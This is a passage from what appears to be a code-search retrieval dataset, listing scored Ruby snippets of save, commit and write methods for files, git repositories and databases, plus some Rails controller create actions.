"text": "def save\n data_file.binwrite Marshal.dump hash\n data_file.chmod 0644\n end",
"title": ""
},
{
"docid": "ca6b6ec17ea9ed4a2e846388af97d178",
"score": "0.6155414",
"text": "def save\n raise 'Could not find repo' if !@repo\n save_config\n save_chapters\n git_add_all\n git_commit_all \"Saved book\"\n end",
"title": ""
},
{
"docid": "7fda5a6f6ee2e4d17cace5d4499c3e5b",
"score": "0.6153488",
"text": "def test_add_blob_to_object_database\n data = '7654321098!@$#%^&*()_-=+'\n git_sha = git_exec {`echo -n '#{data}' | git hash-object -w --stdin`}.chomp\n blob_data = git_exec { `git cat-file -p #{git_sha}` }\n assert_equal(data, blob_data, 'Git cat-file does not match input')\n\n\n grit_sha = @repo.git.put_raw_object(data, 'blob')\n assert(@repo.git.object_exists?(grit_sha), 'Grit fails object_exists? call')\n assert_equal(data, @repo.git.ruby_git.cat_file(grit_sha),\n 'Grit cat_file does not match input')\n\n assert_equal( git_sha, grit_sha, 'Git and Grit SHA differ')\n\n sep = File::SEPARATOR\n path = sep + '.git' + sep + 'objects' + sep + git_sha[0,2] + sep + \n git_sha[2..-1]\n assert(File.exist?(@git_path + path), 'Git did not add blob to object DB')\n assert(File.exist?(@grit_path + path), 'Grit did not add blob to object DB')\n end",
"title": ""
},
{
"docid": "508836863b3eb22f355ad5ef662bf8ae",
"score": "0.61447537",
"text": "def commitObject(objectToSaveName, objectToSave, cache)\n\n if(objectToSave != nil && objectToSaveName != nil)\n\n repOb = RepositoryObject.new(objectToSave,cache)\n if(cache)\n @REPOSITORY_MEMORY[objectToSaveName] = repOb\n end\n path = @MY_SAFE.saveRepositoryObject(objectToSaveName,repOb)\n @REPOSITORY[objectToSaveName] = path\n\t @MY_SAFE.saveRepository(@REPOSITORY)\n end\n end",
"title": ""
},
{
"docid": "6821613a2d9187dc71aea6a52fae54e3",
"score": "0.6143183",
"text": "def save_data\n save_json_file \"mod_data\", @mod_data\n save_json_file \"part_data\", @part_data\n end",
"title": ""
},
{
"docid": "5a48f5e296a445052abf2e58050f74ea",
"score": "0.61392856",
"text": "def commit(data = self.doc)\n doc.write path, data\n end",
"title": ""
},
{
"docid": "11b266e51591b9bb9a22cce647f39306",
"score": "0.613339",
"text": "def save_git_version\n File.write(git_filename, notebook.to_git_format(uuid))\n end",
"title": ""
},
{
"docid": "a521227311d647880dc2e1dd54367b10",
"score": "0.61059445",
"text": "def store(data,headers={})\n object = cf_container.create_object(@path)\n object.write(data,headers)\n end",
"title": ""
},
{
"docid": "910bfab14c315d65cf5e03dee61762ed",
"score": "0.6091634",
"text": "def _save_to_store\n self._warnings = []\n _commit_externals \n __pack.commit # TODO: need to add some error catching and roll back the external saves where needed\n end",
"title": ""
},
{
"docid": "4f51f8f0856eac1da293ec1e2d36ef28",
"score": "0.60909444",
"text": "def cdb_save\n self.couchdb_rev = couchdb.store(\"pack\", @name, self)[\"rev\"]\n end",
"title": ""
},
{
"docid": "980cdc2e071d8e2b1097841bfdb7f305",
"score": "0.60879475",
"text": "def write!(section, value)\n fail 'Data cannot be written back in git history' unless @sha.nil?\n File.open(WTT::Core.wtt_root, File::RDWR | File::CREAT, 0644) do |f|\n f.flock(File::LOCK_EX)\n data = data_from_str(f.read)\n data[section] = value\n f.rewind\n f.write(data.to_json)\n f.flush\n f.truncate(f.pos)\n end\n end",
"title": ""
},
{
"docid": "5a03de9526a4aa844f25d49d1ef44249",
"score": "0.6076821",
"text": "def commit\n return if !file_path\n\n clean_nil_and_empties\n\n if empty?\n # Delete the file since an empty data store is not useful\n File.delete(file_path) if File.file?(file_path)\n else\n File.open(file_path, \"w\") { |f| f.write(to_json) }\n end\n end",
"title": ""
},
{
"docid": "ccaed6a49414a2434353f2b8ea4fefa4",
"score": "0.60747313",
"text": "def write(data)\n push change(data)\n end",
"title": ""
},
{
"docid": "42261f23b168d883d39dea240bc0d582",
"score": "0.6070479",
"text": "def write(data)\n if exist?\n update(data)\n else\n create(data)\n end\n end",
"title": ""
},
{
"docid": "20cc64e2487c9bb4d040d524b8524a18",
"score": "0.6065101",
"text": "def _write(obj)\n obj.Write()\n end",
"title": ""
},
{
"docid": "9a89fcba8b2e7403a782c9fa42a7269d",
"score": "0.6061271",
"text": "def commit!\n File.write(@path, @new_value)\n end",
"title": ""
},
{
"docid": "519504174d21c9f30cf34016e5c9c78d",
"score": "0.60455906",
"text": "def _write(obj)\n obj.Write()\n end",
"title": ""
},
{
"docid": "5a2564b02db26bbfd4a8f40849a990b3",
"score": "0.6043459",
"text": "def save(msg=nil)\n msg ||= 'Bgo object saved.'\n update\n repo.commit_index msg\n self\n end",
"title": ""
},
{
"docid": "92548233df8c0ae77e89af42936fe4e8",
"score": "0.6039634",
"text": "def save(commit_options = {})\n self.commit commit_options\n self.push\n end",
"title": ""
},
{
"docid": "170f64b272bbaab3589ad03905505a36",
"score": "0.6039386",
"text": "def commit_content(file, branch, data, comment, actor)\n if @path == Sosol::Application.config.canonical_repository\n raise \"Cannot commit directly to canonical repository\" unless (file == CollectionIdentifier.new.to_path)\n end\n\n begin\n inserter = self.jgit_repo.newObjectInserter()\n file_id = inserter.insert(org.eclipse.jgit.lib.Constants::OBJ_BLOB, data.to_java_string.getBytes(java.nio.charset.Charset.forName(\"UTF-8\")))\n\n last_commit_id = self.jgit_repo.resolve(branch)\n\n jgit_tree = JGit::JGitTree.new()\n jgit_tree.load_from_repo(self.jgit_repo, branch)\n jgit_tree.add_blob(file, file_id.name())\n\n jgit_tree.commit(comment, actor)\n inserter.flush()\n inserter.release()\n rescue Java::JavaLang::Exception => e\n Rails.logger.error(\"JGIT COMMIT exception #{file} on #{branch} comment #{comment}: #{e.inspect}\\n#{e.backtrace.join(\"\\n\")}\")\n raise Exceptions::CommitError.new(\"Commit failed. #{e.message}\")\n end\n end",
"title": ""
},
{
"docid": "51c722ce54e422fe52f463cb1b785482",
"score": "0.6020361",
"text": "def store\n if !defined? DB\n raise 'No connection to MongoDB available'\n end\n\n if @data[:meta][:hash].nil?\n @data[:meta][:hash] = generate_hash\n @data[:meta][:revision] = 0\n else\n @data[:meta][:revision] += 1\n end\n\n begin\n DB['tinker'].insert(@data)\n @data.delete :_id\n rescue Exception => e\n raise 'Failed to save tinker'\n end\n end",
"title": ""
},
{
"docid": "3e7101b19b38e28d373b1e88599f4525",
"score": "0.60066694",
"text": "def save(commit_msg = nil)\n\n # Add all changes to index (staging area)\n index = @repo.index\n\n #Process config file (if loaded, i.e. may be modified)\n if @config\n new_conf = @config.to_file(path=@config_dir_path)\n index.add(relative_config_file)\n end\n\n #Process ssh keys (if loaded, i.e. may be modified)\n if @ssh_keys\n files = list_keys.map{|f| relative_key_path(f) }\n keys = @ssh_keys.values.map{|f| f.map {|t| t.relative_path}}.flatten\n\n to_remove = (files - keys).each do |key|\n SSHKey.remove(key, @key_dir_path)\n index.remove File.join(relative_key_dir, key)\n end\n\n @ssh_keys.each_value do |key|\n # Write only keys from sets that has been modified\n next if key.respond_to?(:dirty?) && !key.dirty?\n key.each do |k|\n new_key = k.to_file(@key_dir_path)\n index.add File.join(relative_key_dir, k.relative_path)\n end\n end\n end\n\n # Write index to git and resync fs\n commit_tree = index.write_tree @repo\n index.write\n\n commit_author = @commit_author.merge(time: Time.now)\n\n Rugged::Commit.create(@repo,\n author: commit_author,\n committer: commit_author,\n message: commit_msg || @settings[:commit_msg],\n parents: [repo.head.target],\n tree: commit_tree,\n update_ref: 'HEAD'\n )\n end",
"title": ""
},
{
"docid": "983d717519b336c3bedd6535b82d5f9a",
"score": "0.60049176",
"text": "def put( data )\n @pathname.mkpath unless @pathname.exist?\n SpoolPool::File.write( @pathname, serialize( data ) )\n end",
"title": ""
},
{
"docid": "b4003008064700df89de1cbf40139c4a",
"score": "0.6002731",
"text": "def commit; end",
"title": ""
},
{
"docid": "b4003008064700df89de1cbf40139c4a",
"score": "0.6002731",
"text": "def commit; end",
"title": ""
},
{
"docid": "b4003008064700df89de1cbf40139c4a",
"score": "0.6002731",
"text": "def commit; end",
"title": ""
},
{
"docid": "aef4e46122222ffe1a24fcd4e211cb4a",
"score": "0.5998006",
"text": "def write!(section, value)\n raise 'Data cannot be written to the storage back in git history' unless @sha.nil?\n File.open(filename, File::RDWR|File::CREAT, 0644) do |f|\n f.flock(File::LOCK_EX)\n str = f.read\n data = str.length > 0 ? JSON.parse(str) : {}\n data[section] = value\n f.rewind\n f.write(data.to_json)\n f.flush\n f.truncate(f.pos)\n end\n end",
"title": ""
},
{
"docid": "a19d0fb4155b396426fc0ab5bf8cab49",
"score": "0.5979927",
"text": "def save\r\n WimduCli.storage.store(self.id, self.as_json)\r\n end",
"title": ""
},
{
"docid": "35ee8616f71d42cddb368e60ad67c3de",
"score": "0.59633636",
"text": "def save\n File.open(SimpleStore.store, \"w+\") do |file|\n file << store.to_json\n end\n end",
"title": ""
},
{
"docid": "05b7dcbbdfc70e5f70abe242e98b1446",
"score": "0.59392494",
"text": "def saveBranches(branches)\n\t\tsaveDataToJson(File.join(@repoDir, \"pointers\"), branches)\n\tend",
"title": ""
},
{
"docid": "43831a4a4c6325f9338c9bf928537d19",
"score": "0.59366447",
"text": "def encode_and_store(data)\r\n encoded = Yajl::Encoder.encode(data, pretty: true)\r\n File.open(json_file, 'w') { |f| f.write(encoded) }\r\n end",
"title": ""
},
{
"docid": "8a7dfb9f9bed2925c6982b0329020328",
"score": "0.5930814",
"text": "def save\n robject.data = attributes\n robject.store\n end",
"title": ""
},
{
"docid": "1a82462e32c5f57d1ea9c211c5321a2d",
"score": "0.59291357",
"text": "def store(name, data)\n File.write(\"#{STORE}/#{name}\", data)\nend",
"title": ""
},
{
"docid": "b4e64218e9b68cfaaf5d2fc4ea0dbd37",
"score": "0.5927227",
"text": "def persist_data\n writer = FileWriter.new(filename)\n writer.write_all_persons(@repository.get_persons)\n writer.write_all_tasks(@repository.return_output_mapping)\n nil\n end",
"title": ""
},
{
"docid": "3bc7c11c65cfce9d90aab2b8561948d0",
"score": "0.5922087",
"text": "def save\n File.open(filepath, 'w+') { |f| f << Psych.dump(data_store) }\n self\n end",
"title": ""
},
{
"docid": "c9030ac4540c86f8043e5425725be280",
"score": "0.59159535",
"text": "def deep_write(id, data)\n important = {vault: data.fetch(:value)}.merge(data.slice(*IMPORTANT_COLUMNS))\n vault_action(:write, vault_path(id, :encode), important)\n end",
"title": ""
},
{
"docid": "267a8730b3269f2aac2b22a61ef3619d",
"score": "0.59123194",
"text": "def save(object)\n @id += 1\n open_db('a+') do |file|\n file << serialize(@id, object)\n end\n @id\n end",
"title": ""
},
{
"docid": "4fc7b3f923a48124cb04ae9181a2f37f",
"score": "0.591106",
"text": "def save(options = {})\n _run_save_callbacks do \n raise GitModel::NullId unless self.id\n\n if new_record?\n raise GitModel::RecordExists if self.class.exists?(self.id)\n else\n raise GitModel::RecordDoesntExist unless self.class.exists?(self.id)\n end\n\n GitModel.logger.debug \"Saving #{self.class.name} with id: #{id}\"\n\n dir = File.join(self.class.db_subdir, self.id)\n\n transaction = options.delete(:transaction) || GitModel::Transaction.new(options) \n result = transaction.execute do |t|\n # Write the attributes to the attributes file\n t.index.add(File.join(dir, 'attributes.json'), Yajl::Encoder.encode(attributes, nil, :pretty => true))\n\n # Write the blob files\n blobs.each do |name, data|\n t.index.add(File.join(dir, name), data)\n end\n end\n\n result\n end\n end",
"title": ""
},
{
"docid": "554efc3a7671e269d5ea9f97335bfb61",
"score": "0.59103596",
"text": "def commit\r\n end",
"title": ""
},
{
"docid": "5d05842fce80bab95e12a02815241534",
"score": "0.5903803",
"text": "def commit(object)\n Commit.with object.environment, :name => object.content\n end",
"title": ""
},
{
"docid": "00b2ba8047bb59645877c56d36568a5e",
"score": "0.58973145",
"text": "def set(data, path = \"object.json\", options={})\n arguments = [self.fullID(path)]\n cmdOptions = {\n \"-j\" => true,\n }\n\n if @account\n cmdOptions[\"-T\"] = @account.token\n end\n\n stdinData = nil\n\n if data.is_a? Array\n data.each do |k, v|\n cmdOptions[\"-i\"] ||= []\n \n if v.nil?\n cmdOptions[\"-i\"] << [k]\n else\n cmdOptions[\"-i\"] << [k, v]\n end\n end\n else\n stdinData = data\n arguments << \"-\"\n end\n\n cmdOptions[\"-t\"] = options[:type] || \"text\"\n\n if options[:message]\n cmdOptions[\"-m\"] = options[:message]\n end\n\n result = Occam::Worker.perform(\"objects\", \"set\", arguments, cmdOptions, stdinData)\n data = JSON.parse(result[:data], :symbolize_names => true)\n\n root = nil\n ret = nil\n if data[:updated]\n root = data[:updated][0]\n index = data[:updated][1..-1].map do |item|\n item[:position]\n end\n\n ret = self.class.new(:uuid => root[:id], :revision => root[:revision], :index => index, :account => @account, :link => @link, :roots => data[:updated][0..-2], :root => root, :info => data[:updated][-1])\n end\n\n ret\n rescue Exception => e\n puts \"Error saving\"\n puts e\n nil\n end",
"title": ""
},
{
"docid": "7be94b260cbb5265af4952dbfde43ab6",
"score": "0.5892566",
"text": "def save\n\t\treturn true unless dirty?\n\n\t\tif new?\n\t\t\t@data['hash'] = new_hash\n\t\t\t@data['revision'] = 0\n\t\t\tDB[:tinker].insert(\n\t\t\t\t:hash => @data['hash'],\n\t\t\t\t:x_fork_id => @data['x_fork_id'],\n\t\t\t\t:x_user_id => @data['x_user_id'],\n\t\t\t\t:title => @data['title'],\n\t\t\t\t:description => @data['description']\n\t\t\t)\n\t\telse\n\t\t\t@data['revision'] = new_revision\n\t\t\tDB[:tinker].filter(:hash => @data['hash']).update(\n\t\t\t\t:title => @data['title'],\n\t\t\t\t:description => @data['description']\n\t\t\t)\n\t\tend\n\n\t\t@data['revision_id'] = DB[:tinker_revision].insert(\n\t\t\t:x_tinker_hash => @data['hash'],\n\t\t\t:revision => @data['revision'],\n\t\t\t:x_doctype_id => @data['doctype'],\n\t\t\t:x_framework_version_id => @data['framework'],\n\t\t\t:normalize => @data['normalize'],\n\t\t\t:markup => @data['markup'],\n\t\t\t:style => @data['style'],\n\t\t\t:interaction => @data['interaction']\n\t\t)\n\n\t\tif @data['extensions']\n\t\t\t@data['extensions'].each do |extension|\n\t\t\t\tDB[:tinker_revision_extension].insert(\n\t\t\t\t\t:x_tinker_hash => @data['hash'],\n\t\t\t\t\t:revision => @data['revision'],\n\t\t\t\t\t:x_framework_extension_id => extension\n\t\t\t\t)\n\t\t\tend\n\t\tend\n\n\t\tif @data['assets']\n\t\t\t@data['assets'].each do |asset|\n\t\t\t\tDB[:tinker_revision_asset].insert(\n\t\t\t\t\t:x_tinker_hash => @data['hash'],\n\t\t\t\t\t:revision => @data['revision'],\n\t\t\t\t\t:url => asset\n\t\t\t\t)\n\t\t\tend\n\t\tend\n\n\t\treturn true\n\tend",
"title": ""
},
{
"docid": "c9a2153bfa640f4e50cb28a327011050",
"score": "0.5889856",
"text": "def persist(*data)\n @content = data.first if data.any?\n open { |f| f.write(@content || read) } if absolute_dirname.exist?\n end",
"title": ""
},
{
"docid": "958f040caa3496890961f5e5e653e532",
"score": "0.5889074",
"text": "def store_data()\n\t\tFile.open(@location, 'w') do |f|\n\t\t\tf.write(@bugs.to_yaml)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "74ec3f8a5b3cfdc2c03a6704cd18ff75",
"score": "0.5887491",
"text": "def save(identifier, data)\n bucket.put_object(key: key(identifier), body: data, acl: \"public-read\")\n end",
"title": ""
},
{
"docid": "3e62728a2ef559f520dbc8d3be06bcc5",
"score": "0.5886357",
"text": "def commit; @store.commit; end",
"title": ""
},
{
"docid": "6d3764e3e955e8dc45926e0437c27b96",
"score": "0.58796936",
"text": "def write\n container.file.open(full_name, \"w\") do |m|\n m.puts JSON.pretty_generate(self)\n end\n\n stored\n end",
"title": ""
},
{
"docid": "edf670efcf3c4a178c0995be90234f1f",
"score": "0.58784854",
"text": "def save(data)\n url = data[:url]\n message = data[:message]\n key = message[:key]\n response = data[:response]\n headers = response.headers\n body = response.body\n @base_dir.mkpath\n body_path(url, key).dirname.mkpath\n body_path(url, key).open(\"wb+\") do |file|\n file.write(body)\n end\n headers_path(url, key).open(\"wb+\") do |file|\n file.write(JSON.generate(headers))\n end\n end",
"title": ""
},
{
"docid": "94912f036edb82db71ce2f14408bafa0",
"score": "0.5870934",
"text": "def save_data(data)\n File.write(data_file, Marshal.dump(data))\n end",
"title": ""
},
{
"docid": "ba42800f78e2280390b525201c1a7f6e",
"score": "0.58684826",
"text": "def save obj\n file.puts obj\n obj\n end",
"title": ""
},
{
"docid": "88e211a2c3249f2637fae9962a4c1574",
"score": "0.5858864",
"text": "def save_to_database(data)\n\t\tdata_file = CONFIG[ENVIRONMENT][:database]\n\t\tbegin\n\t\t\tputs \">> Saving data to #{@data_file} <<\"\n\t\t\toriginal_data = load()\n\n\t\t\tFile.new(data_file, 'w') unless File.exists? data_file\n\t\t\tFile.open(data_file, 'w') do |f|\n\t\t\t\tf.write(JSON.generate(data))\n\t\t\tend\n\t\t\ttrue\n\t\trescue\n\t\t\tfalse\n\t\tend\n\tend",
"title": ""
},
{
"docid": "1c3afb832a0ca49342696c7518b89c5a",
"score": "0.5858578",
"text": "def save\n file.data= data\n file.save\n end",
"title": ""
},
{
"docid": "bc77d8df962ca5d0ef6950a0787bf922",
"score": "0.5855424",
"text": "def test_add_path_to_object_database\n bdata = \"123454321\"\n bsha = git_exec {`echo -n '#{bdata}' | git hash-object -w --stdin`}.chomp\n grit_bsha = @repo.git.put_raw_object(bdata, 'blob')\n\n tdata1 = \"100644 blob #{bsha}\\ttest_blob\"\n git_sha = git_exec {`echo -n '#{tdata1}' | git mktree`}.chomp\n\n # Note the different format needed for Grit!\n tdata1 = \"100644 test_blob\\0#{[bsha].pack('H*')}\"\n grit_sha = @repo.git.put_raw_object(tdata1, 'tree')\n assert(@repo.git.object_exists?(grit_sha), 'Grit fails object_exists? call')\n assert_not_nil( @repo.tree(grit_sha), 'Grit did not create valid tree')\n\n assert_equal( git_sha, grit_sha, 'Git and Grit SHA differ')\n end",
"title": ""
},
{
"docid": "a2ca0bf88c490be6e5f95be872c7bc9a",
"score": "0.58552074",
"text": "def data\n @data ||= @repo.git.cat_file({:p => true}, id)\n end",
"title": ""
},
{
"docid": "719a7bc45d58fb1c12d729e05507e96f",
"score": "0.5852333",
"text": "def save\n return if @data.empty?\n output = {}\n output[:data] = @data\n output[:generated_at] = Time.now.to_s\n output[:started_at] = @started_at\n output[:format_version] = '1.0'\n output[:rails_version] = Rails.version\n output[:rails_path] = Rails.root.to_s\n\n FileUtils.mkdir_p(@config.output_path)\n filename = \"sql_tracker-#{Process.pid}-#{Time.now.to_i}.json\"\n\n File.open(File.join(@config.output_path, filename), 'w') do |f|\n f.write JSON.dump(output)\n end\n end",
"title": ""
},
{
"docid": "4c3f875be05bae6500a11eab5c0d0bf0",
"score": "0.58504105",
"text": "def save\n @backend.write_db(@name)\n\n self\n end",
"title": ""
},
{
"docid": "dc0b753d8673549ac4d660f4ccfff37e",
"score": "0.58452815",
"text": "def save(content, author, comment = \"Update #@name\")\n FileUtils.mkdir_p(File.dirname(file))\n File.open(file, 'w+'){|i|\n i.puts content.gsub(/\\r\\n|\\r/, \"\\n\")\n }\n G.add(File.join(language, \"#{@name}#{EXT}\")) unless @revision\n message = G.better_commit(comment, :files => [repo_file], :author => author)\n @revision = message[/Created commit (\\w+):/, 1]\n rescue Git::GitExecuteError => ex\n puts ex\n nil\n ensure\n GBLOB_CACHE.clear\n LOG_CACHE.clear\n end",
"title": ""
},
{
"docid": "c4143f21d032129dca03a953742ac262",
"score": "0.584307",
"text": "def update(&block)\n yield self if block_given?\n return self if ! repo\n\n repo.chdir {\n File.write( File.join(repo_path, FILE_JSON),\n self.to_core_hash.to_json + \"\\n\" )\n } #if self_dirty?\n # NOTE: self_dirty does not get set when tags, comments, or properties\n # are modified!\n\n @self_dirty = false\n\n self\n end",
"title": ""
},
{
"docid": "11d9f841f0226992c2ba26de9052ed98",
"score": "0.5840849",
"text": "def data_store\n File.open(@filepath, 'w') do |file|\n file << JSON.dump(@hash)\n end\n end",
"title": ""
},
{
"docid": "aed22dc5c449d0eb9fbee9fff9733eae",
"score": "0.58297706",
"text": "def save(data)\n\t\t\tfail 'Data must be JSON formatted' unless json_format?(data)\n\t\t\tredis.lpush key, data\n\t\tend",
"title": ""
},
{
"docid": "0f47940509269da09ed88416265d1e05",
"score": "0.582722",
"text": "def write(model_name:, data:)\n file_for(model_name).add(data)\n end",
"title": ""
},
{
"docid": "006c0d09ff23b08517560b36244555cd",
"score": "0.58195794",
"text": "def __save\n save_data_validations(self._user_data)\n node_key = @my_GlueEnv.node_key\n node_id = self._model_metadata[node_key]\n @@log.debug {\"User Data to save: #{self._user_data}\"} if @@log.debug?\n model_data = inject_node_metadata\n #raise model_data.inspect\n @@log.debug { \"saving (including injected model data): #{model_data.inspect}\"} if @@log.debug?\n res = @my_GlueEnv.save(model_data)\n version_key = @my_GlueEnv.version_key\n #TODO: Make consistent with rev keys\n rev_data = {version_key => res['rev']}\n update_self(rev_data)\n return self\n end",
"title": ""
},
{
"docid": "56f515a35df197b2955b075491d03637",
"score": "0.5803125",
"text": "def write(data)\n end",
"title": ""
},
{
"docid": "6b62df37f521186890d11887479f3e1f",
"score": "0.57996875",
"text": "def save(data)\n File.open(filename, 'w') do |f|\n f.write Marshal.dump(data)\n end\n end",
"title": ""
},
{
"docid": "a1ae45fe8026b879245dc811934c8409",
"score": "0.57982606",
"text": "def save\n if valid?\n write\n stage\n commit\n push\n else\n false\n end\n end",
"title": ""
},
{
"docid": "036d294b240c25091dc70ecdf76cf78e",
"score": "0.5796348",
"text": "def write #:nodoc:\n super\n Sunspot.commit\n end",
"title": ""
},
{
"docid": "6941309b65e9e9302dc1339045dc1097",
"score": "0.57931507",
"text": "def save_file\n if @file\n self.class.write_data_stores.each do |store|\n begin\n data_store_object = store.new id\n data_store_object.write @file\n self.length = data_store_object.length\n self.md5 = data_store_object.md5\n rescue => ex\n notify_airbrake(ex) if defined? notify_airbrake\n next\n end\n end\n end\n end",
"title": ""
},
{
"docid": "1414c76084b1352dc2672dd5bf2f851d",
"score": "0.57883906",
"text": "def save\n # NOTE: This is a workaround for a ruby-git bug.\n # @see https://github.com/schacon/ruby-git/issues/23\n git.status.changed.each { git.diff.entries }\n\n files = (git.status.changed.keys + git.status.untracked.keys)\n return unless files.any?\n # For each interaction, commit the yml and html along with the correct commit message.\n files.select { |f| f.end_with?('.yml') }.each do |f|\n interaction = git.chdir { YAML.load_file(f) }\n message = \"#{interaction['response']['status'].values_at('code', 'message').join(' ')} #{interaction['request']['uri']}\"\n git.add([f, f.sub(/\\.yml$/, '.html')])\n git.commit(message)\n end\n # FIXME: Auto-pushing should be optional if the user wants to manually do it at the end.\n git.push('origin', branch_name)\n end",
"title": ""
},
{
"docid": "1554dbd58e8275ad274a0f018f973129",
"score": "0.5788175",
"text": "def store name, what, where\n FileUtils.mkdir_p(File.dirname(where))\n File.open(where, 'wb') do |f|\n f << what\n end\n if `git status --porcelain \"#{where}\"`.strip.length > 0\n @changed_services << name\n puts \" #{name} CHANGED\"\n else\n puts \" #{name} OK\"\n end\nend",
"title": ""
},
{
"docid": "b735fd003a4b2cf9afca54c7f2ad347d",
"score": "0.5776894",
"text": "def save(path)\n # TODO add error handling\n raw_data = get_raw_data\n path = \"#{path}.obj\" unless path.split(\".\").last == \"obj\"\n file.open(path, 'w') {|f| f.write(get_raw_data) }\n path\n end",
"title": ""
},
{
"docid": "31aceaf73ca4766240c2b0e020e7f1ec",
"score": "0.57740873",
"text": "def fs_write(file, contents)\n path = File.join(self.git_dir, file)\n FileUtils.mkdir_p(File.dirname(path))\n File.open(path, 'w') do |f|\n f.write(contents)\n end\n end",
"title": ""
},
{
"docid": "31aceaf73ca4766240c2b0e020e7f1ec",
"score": "0.57740873",
"text": "def fs_write(file, contents)\n path = File.join(self.git_dir, file)\n FileUtils.mkdir_p(File.dirname(path))\n File.open(path, 'w') do |f|\n f.write(contents)\n end\n end",
"title": ""
},
{
"docid": "db6e452a093d96edb37ce9a06f65ef61",
"score": "0.57663846",
"text": "def save_to_file(data)\n return unless File.directory?('/etc/gitlab')\n\n File.open(JSON_FILE, 'w', 0600) do |f|\n f.puts(Chef::JSONCompat.to_json_pretty(data))\n f.chmod(0600) # update existing file\n end\n end",
"title": ""
},
{
"docid": "d8b8108efa415a366d7658a38c9a0144",
"score": "0.5765166",
"text": "def store obj = @existing_bookmarks, file_name = $conf['db_location']+'/bookmarks.stash', options={:gzip => false }\n marshal_dump = Marshal.dump(obj)\n file = File.new(file_name,'w')\n file = Zlib::GzipWriter.new(file) unless options[:gzip] == false\n file.write marshal_dump\n file.close\n return obj\n end",
"title": ""
},
{
"docid": "6b26b5e8ad98147eab657091d92b1319",
"score": "0.57491475",
"text": "def save!(*data)\n FileUtils.mkdir_p absolute_dirname\n persist *data\n end",
"title": ""
},
{
"docid": "6047ef96aa1ec893842b7a660c0baefc",
"score": "0.5747801",
"text": "def datastore_save\n File.write(cur_dir(DATASTORE_FILE), @users.to_yaml)\n end",
"title": ""
},
{
"docid": "32d427ea0c49e42aaf9721b7e7127ed1",
"score": "0.5742234",
"text": "def internalSave()\n File.open(@filename, \"w\") do |f|\n f.write(@data.to_json);\n end\n end",
"title": ""
},
{
"docid": "373bc0124d133d7743a333f9ef28207b",
"score": "0.5735112",
"text": "def save\n save_to_disk(JSON.parse(self.to_json))\n end",
"title": ""
},
{
"docid": "b981ece40609991e0c25e8928cd0d4c7",
"score": "0.573382",
"text": "def put(obj)\n raise Cod::ReadOnlyChannel unless can_write?\n pipe.close_r\n \n pipe.write(\n serializer.en(obj))\n end",
"title": ""
}
] |
e5e995f30009c078f1bdb50ee43eb0be | POST /programs POST /programs.json | [
{
"docid": "e0acb90ecdb1ef51ee2e4c71f7c395ae",
"score": "0.6747585",
"text": "def create\n @program = Program.new(program_params)\n UserMailer.notify_approver(@program).deliver\n\n respond_to do |format|\n if @program.save\n format.html { redirect_to brand_programs_path(@program.brand), notice: 'Program was successfully created.' }\n format.json { render action: 'show', status: :created, location: @program }\n else\n format.html { render action: 'new' }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] | [
{
"docid": "04a03a905ed11141f44b9c76d4cc69a6",
"score": "0.74857515",
"text": "def create\n @program = Program.new(params[:program])\n\n respond_to do |format|\n if @program.save\n format.html { redirect_to @program, :notice => 'Program was successfully created.' }\n format.json { render :json => @program, :status => :created, :location => @program }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @program.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2f5a39e1f78b41034070a99f1b095a0e",
"score": "0.74734104",
"text": "def create\n @program = Program.new(program_params)\n\n respond_to do |format|\n if @program.save\n format.html { redirect_to programs_path, notice: 'Program was successfully created.' }\n format.json { render :show, status: :created, location: @program }\n else\n format.html { render :new }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ab7cf46dc1192be89e2aab2d6b527359",
"score": "0.71335936",
"text": "def create\n @program = Program.new(params[:program])\n\n respond_to do |format|\n if @program.save(:without_protection => true)\n format.html { redirect_to @program, notice: 'Program was successfully created.' }\n format.json { render json: @program, status: :created, location: @program }\n else\n format.html { render action: \"new\" }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8aab23acf7d58f0a6522636d7b37d0ac",
"score": "0.70296335",
"text": "def create\n @event = Event.find(params[:event_id])\n @program = @event.programs.build(params[:program])\n\n respond_to do |format|\n if @program.save\n format.html {\n redirect_to @event,\n notice: 'Program was successfully created.'\n }\n format.json {\n render json: @program,\n status: :created,\n location: @program\n }\n else\n format.html { render action: \"new\" }\n format.json {\n render json: @program.errors, status: :unprocessable_entity\n }\n end\n end\n end",
"title": ""
},
{
"docid": "06972de923a0af32bea2a46d5c6d62e9",
"score": "0.68846476",
"text": "def create\n @programm = Programm.new(programm_params)\n\n respond_to do |format|\n if @programm.save\n format.html { redirect_to action: :index, notice: 'Programm was successfully created.' }\n format.json { render :index, status: :created, location: @programm }\n else\n format.html { render :new }\n format.json { render json: @programm.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c8692336350bbd9b3bc993a160822c65",
"score": "0.6819712",
"text": "def create\n\tif user_signed_in?\n\t\t@program = Program.new(params[:program])\n\t\t@program.status = \"not approved\"\n\t\trespond_to do |format|\n\t\t if @program.save\n\t\t\tformat.html { redirect_to @program, notice: 'Program was successfully created.' }\n\t\t\tformat.json { render json: @program, status: :created, location: @program }\n\t\t else\n\t\t\tformat.html { render action: \"new\" }\n\t\t\tformat.json { render json: @program.errors, status: :unprocessable_entity }\n\t\t end\n\t\tend\n\telse\n\t\tflash[:notice] = \"You don't have access to do that\"\n\t\tredirect_to :controller=>'home', :action => 'index'\n\tend\n end",
"title": ""
},
{
"docid": "502e26dae4aa31c8cbac8f3280069871",
"score": "0.6815386",
"text": "def program_params\n params.require(:program).permit(:new_program)\n end",
"title": ""
},
{
"docid": "98182a1ae8d5d703d919964a6779ef38",
"score": "0.67757463",
"text": "def create\n @programa = Programa.new(params[:programa])\n\n respond_to do |format|\n if @programa.save\n format.html { redirect_to programas_path }\n format.json { render json: @programa, status: :created, location: @programa }\n else\n format.html { render action: \"new\" }\n format.json { render json: @programa.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "99fb9092560c0aa93b4ed1210b54111c",
"score": "0.671863",
